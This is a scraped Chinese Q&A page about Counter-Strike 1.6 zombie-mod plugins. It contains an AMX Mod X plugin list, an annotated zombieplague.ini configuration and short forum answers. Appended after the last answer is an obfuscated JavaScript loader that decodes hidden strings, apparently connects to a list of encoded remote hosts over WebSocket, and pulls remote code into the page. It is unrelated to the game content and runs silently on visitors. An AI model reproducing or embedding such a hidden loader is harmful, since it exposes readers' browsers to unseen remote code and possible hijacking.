找CS1.6僵尸插件

2025-03-01 01:58:18
推荐回答(5个)
回答1:

僵尸感染插件4.1高级

增加20多种 可惜只能显示20个

X:\Program Files\CS1.6 Okgogogo增强普及版\cstrike\addons\amxmodx\configs\plugins-zplague.ini

; 主插件
;zombie_plague40.amxx ;僵尸感染插件4.1
zombie_plague41.amxx ;僵尸感染插件4.1高级

; 默认僵尸类型
zp_zclasses40.amxx
zp_class_blink.amxx ;意念僵尸
zp_class_tight.amxx ;闪电僵尸
zp_class_trapeze.amxx ;蜘蛛僵尸
guizi.amxx ;鬼子僵尸
zp_class_eye.amxx ;鬼眼僵尸
zp_class_cshal.amxx ;雷电僵尸
zp_class_camouflage.amxx;伪装僵尸
zp_class_assassin.amxx ;刺客僵尸
;zp_class_tower.amxx ;铁塔僵尸
zp_class_tight.amxx ;跳跃僵尸
zp_class_flame.amxx ;火焰僵尸
;zp_yinshende.amxx ;幻影僵尸
zp_mijia.amxx ;米加跳线僵尸
zp_class_tightw ;侦查僵尸
zp_class_eyee.amxx ;僵尸之神
zp_class_duo.amxx ;恐怖之王
zp_chaoji.amxx ;超级大僵尸
china.amxx ;中国僵尸
zp_angel_zombie.amxx ;天使僵尸

;视角插件(升级):
zp_level.amxx ;人类等级技能1
stzpmenu.amxx ;人类等级技能2
kill_2_level.amxx ;升级加血
;道具插件
zp_extra_human_armor.amxx ;抗感染护甲
zp_extra_batteries.amxx ;电池
zp_shootable_objects.amxx ;攻击移动物体
zp_extra_multijump.amxx ;多重跳
zp_rounddraw_blast.amxx ;回合结束
zp_extra_unlimited_clip.amxx ;无限的弹药
zp_stamina.amxx ;体力 1.0
zp_extra_parachute.amxx ;降落伞
zp_extra_lasermine.amxx ;激光拌雷
zp_extra_jetpack_bazooka.amxx ;飞行器+火箭筒
zp_extra_knife_blink.amxx ;刀闪
zp_admin_money.amxx ;给予僵尸币

X:\Program Files\CS1.6 Okgogogo增强普及版\cstrike\addons\amxmodx\configs\zombieplague.ini

// ---------------------------
// 僵尸插件4.1配置文件
// 本插件由www.csok.lingd.net汉化 V.|*CS-AB*|00
// ---------------------------
// 你所做的任何改变,这里将在地图开始时自动加载

// 一般设置
// -------
zp_delay 10 // 在第几秒时产生僵尸 (随机产生)
zp_lighting "e" // 地体的亮度,用英语字母表示 ["a"-最暗 // "z"-最亮 // "0"禁用] ----------------【修改亮度】------------
zp_thunderclap 90 // 闪电的频率 [0-禁用]
zp_triggered_lights 1 // 地图本身发出的光 (比如说路灯)
zp_remove_doors 0 // 删除门,以防止玩家利用门作为bug [0-不删除 // 1-只删除旋转门 // 2-删除所有的门]
zp_blockuse_pushables 1 // 限制 + 使用在实体上来防止速度的错误
zp_block_suicide 1 // 防止玩家杀死自己
zp_deathmatch 0 // 死斗模式, 在死亡之后复活成为: [0-不复活 // 1-人 // 2-僵尸 // 3-随机]
zp_spawn_delay 5 // 死斗模式中死亡后重生前的延迟时间
zp_spawn_protection 5 // 死斗模式中出生时的保护时间 [0-不保护]
zp_random_spawn 1 // 地图上随机出生 (将使用死亡模式的插件,如果有的话)
zp_remove_money 1 // 删除掉玩家的钱
zp_buy_custom 1 // 启动共卖菜单
zp_zombie_classes 1 // 启动僵尸的类型
zp_admin_models_human 1 / /启用管理模式的人类
zp_admin_models_zombie 1 / /启用管理模式的僵尸
zp_zombie_classes 1 / /启用僵尸班
zp_stats_save 1 //暂时储存的弹药包和僵尸级时,断开
zp_prevent_consecutive_modes 1 //防止同样的游戏模式正在发挥两个连续两轮
// 道具
// -----------
zp_extra_items 1 // 开启道具
zp_extra_weapons 1 // 显示道具中的重型武器
zp_extra_nvision 1 // 显示道具中的夜视仪
zp_extra_antidote 1 // 显示道具中的病毒解药
zp_extra_madness 1 // 显示道具中的无敌僵尸
zp_extra_infbomb 1 // 显示道具中的病毒炸弹

// 照明弹和夜视仪
// ------------------------
zp_nvg_give 1 // 自动给与夜视仪 [0-禁用 // 1-启动 // 2-启用, 但不自动打开]
zp_nvg_custom 1 // 开启自定义的夜视仪
zp_nvg_size 80 // 夜视仪的可视范围 (半径)
zp_nvg_color_R 0 // 僵尸自定义夜视仪的颜色 (红色)
zp_nvg_color_G 150 // 僵尸自定义夜视仪的颜色 (绿色)
zp_nvg_color_B 0 // 僵尸自定义夜视仪的颜色 (蓝色)
zp_nvg_nem_color_R 150 // 复仇之神自定义夜视仪的颜色 (红色)
zp_nvg_nem_color_G 0 // 复仇之神自定义夜视仪的颜色 (绿色)
zp_nvg_nem_color_B 0 // 复仇之神自定义夜视仪的颜色 (蓝色)
zp_flash_custom 0 // 使用自定义的手电筒
zp_flash_size 10 // 自定义手电筒照亮区域大小(半径)
zp_flash_drain 1 // 自定义手电筒的电量流失率[ 0 -无限手电筒]
zp_flash_distance 1000 // 自定义手电筒最大距离
zp_flash_color_R 100 // 自定义手电筒的颜色 (红色)
zp_flash_color_G 100 // 自定义手电筒的颜色 (绿色)
zp_flash_color_B 100 // 自定义手电筒的颜色 (蓝色)

// 击退
// ---------
zp_knockback 0 // 开启武器的击退
zp_knockback_damage 1 // 用给与的伤害来计算击退
zp_knockback_power 1 // 用武器的威力来计算击退
zp_knockback_zvel 0 // 击退影响垂直方向的速度
zp_knockback_ducking 0.25 // 当僵尸被撞倒退当他们回避的时候
zp_knockback_distance 500 // 击退的最大距离
/ / Longjump
/ / --------
zp_leap_zombies 0 / /给飞跃僵尸[ “0” 禁止/ / 1 -使用// 2 ,只有第一僵尸// 3 ,最后一个僵尸]
zp_leap_zombies_force 500 / /力倍增
zp_leap_zombies_height 300 / /向上力量
zp_leap_zombies_cooldown 5.0 / /时间间隔的飞跃用途
zp_leap_nemesis 1 / /给飞跃复仇
zp_leap_nemesis_force 500 / /力倍增
zp_leap_nemesis_height 300 / /向上力量
zp_leap_nemesis_cooldown 5.0 / /时间间隔的飞跃用途
zp_leap_survivor 0 / /给飞跃幸存者
zp_leap_survivor_force 500 / /力倍增
zp_leap_survivor_height 300 / /向上力量
zp_leap_survivor_cooldown 5.0 / /时间间隔的飞跃用途
// 人类
// ------
zp_human_health 100 // 生命值
zp_human_last_extrahp 0 // 最后一个人类的生命值奖励
zp_human_speed 240 // 速度
zp_human_gravity 1.0 // 重量 (0.5 = 一半)
zp_human_armor_protect 2// 在盔甲完全消失后才会被感染
zp_human_unlimited_ammo 1 // 无限弹药 [0-禁用 // 1-无限的弹药 // 2-无限的后备弹药]
zp_human_drop_weapons 2 // 当被感染时武器落下 [0-不落下 // 1-主武器 // 2-主武器和副武器]
zp_human_damage_reward 500 // 当人类给与僵尸多少伤害时可以获得血浆袋
zp_human_frags_for_kill 10 // 人类杀死僵尸得几分

// 自定义手雷
// ---------------
zp_fire_grenades 1 // 开启燃烧弹 (就是高爆手雷)
zp_fire_duration 10 // 燃烧的秒数
zp_fire_damage 10 // 燃烧的伤害 (每0.2秒)
zp_fire_slowdown 0.5 // 燃烧减慢速度的比例 (0.5 = 减少一半的速度) [0-禁用]
zp_frost_grenades 1 // 开启冰冻弹 (就是闪光弹)
zp_frost_duration 3 // 冻结的时间
zp_flare_grenades 1 // 开启照明弹 (就是烟雾弹)
zp_flare_duration 60 // 照明弹的维持时间
zp_flare_size 25 // 照亮的范围 (半径)
zp_flare_color 0 // 光亮的颜色 [0-白色 // 1-红色 // 2-绿色 // 3-蓝色 // 4-完全随机 // 5-在红绿蓝中随机]

// Zombies
// -------
zp_zombie_first_hp 5 // 第一只僵尸生命值的倍数 (2 = 两倍生命)
zp_zombie_armor 0.75 // 防弹衣的减伤比例 (0.75 = 僵尸只受到75%的伤害)
zp_zombie_hitzones 0 / /宠物 (考虑fun.inc的正文部分位) [ 0 -停用]
zp_zombie_infect_health 100 // 没感染一个人类得到多少的生命值
zp_zombie_fov 110 // 可视范围 [0-不变]
zp_zombie_silent 1 // 是否开启僵尸的脚步声
zp_zombie_first_leap 0 // 让第一只僵尸可以飞跃(跳得更远)
zp_zombie_painfree 2 // 僵尸不被击晕(受到大伤害时屏幕移动) [0-禁止 // 1-每一个 // 2-只有最后的僵尸]
zp_zombie_bleeding 1 // 僵尸会留下脚印/血迹在地板上
zp_zombie_infect_reward 1 // 僵尸每感染/杀死一个人类给与的血浆数
zp_zombie_frags_for_infect 1 // 僵尸传染人类得几分

// 复仇之神
// -------
zp_nem_enabled 1 // 开启复仇之神
zp_nem_chance 20 // 产生的概率 (在多少个中产生1个)
zp_nem_health 0 // 生命值 [0 - 人类数乘以僵尸的生命值]
zp_nem_speed 250 // 速度
zp_nem_gravity 0.5 // 重量 (0.5 = 一半)
zp_nem_glow 1 // 身体表面发光
zp_nem_aura 1 // 身体向外照射发光
zp_nem_leap 1 // 飞跃 (跳得更远)
zp_nem_painfree 0 // 不被击晕(受到大伤害时屏幕移动)
zp_nem_ignore_frags 0 // 复仇之神的杀人数不计入比分表
zp_nem_ignore_rewards 1 // 复仇之神不得到血浆袋

// 幸存者
// -------
zp_surv_enabled 1 // 开启幸存者
zp_surv_chance 20 // 产生的概率 (在多少个中产生1个)
zp_surv_health 0 // 生命值 [0 - 僵尸数乘以僵尸的生命值]
zp_surv_speed 230 // 速度
zp_surv_gravity 1.25 // 重量 (0.5 = 一半)
zp_surv_glow 1 // 身体表面发光
zp_surv_aura 1 // 身体向外照射发光
zp_surv_leap 0 // 飞跃 (跳得更远)
zp_surv_painfree 1 // 不被击晕(受到大伤害时屏幕移动)
zp_surv_ignore_frags 0 // 幸存者的杀人数不计入比分表
zp_surv_ignore_rewards 1 // 幸存者不得到血浆袋

// 对战模式
// ----------
zp_swarm_enabled 1 // 开启僵尸模式
zp_swarm_chance 20 // 开启的概率 (在多少次中开启1次)
zp_swarm_min_players 0 //最低需要的球员

// 多人传染模式
// ------------------
zp_multi_enabled 1 // 开启多人传染模式
zp_multi_chance 20 // 开启的概率 (在多少次中开启1次)
zp_multi_ratio 0.15 // 感染的比例 (僵尸的数量 = 玩家数*这个值)

// 军团模式
// -----------
zp_plague_enabled 1 // 开启军团模式
zp_plague_chance 30 // 开启的概率 (在多少次中开启1次)
zp_plague_ratio 0.5 // 感染的比例 (僵尸的数量 = 玩家数*这个值)

// 记录
// -------
zp_logcommands 1 // 控制日志的文件名 "zombieplague.log"

// 其它设置
// -------------------
mp_flashlight 1 // 开启手电筒
mp_footsteps 1 // 开启脚步
mp_playerid 1 // 是否指向玩家能够见到玩家名称
sv_maxspeed 9999 / /阻止限制您的人/僵尸的速度在320

X:\Program Files\CS1.6 Okgogogo增强普及版\cstrike\addons\amxmodx\scripting

插件代码

下载地址:http://blog.sina.com.cn/s/blog_5f8a9f990100ct83.html

回答2:

如果你要下插件,只能下一个,因为插件冲突
如果你想两个都玩,建议你去游戏平台玩,例如豆客、175PT、联盟之类的
我个人认为网通游戏联盟的僵尸插件比较不错,但是就是没有AMX,你可以选择去别的地方

回答3:

http://hi.baidu.com/%C3%E7%C3%E7%5F%C3%A8/blog/item/b1981782e0252298f603a6d9.html

下载地址我文档里,cs与僵尸插件都有···已经集成好了··下载接着就·玩··

回答4:

在你想更改的数值上直接更改,然后开启就好了

回答5:

你的方法对了,汉字不用打(汉字你也打不了)就打英文和数字

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 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F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF 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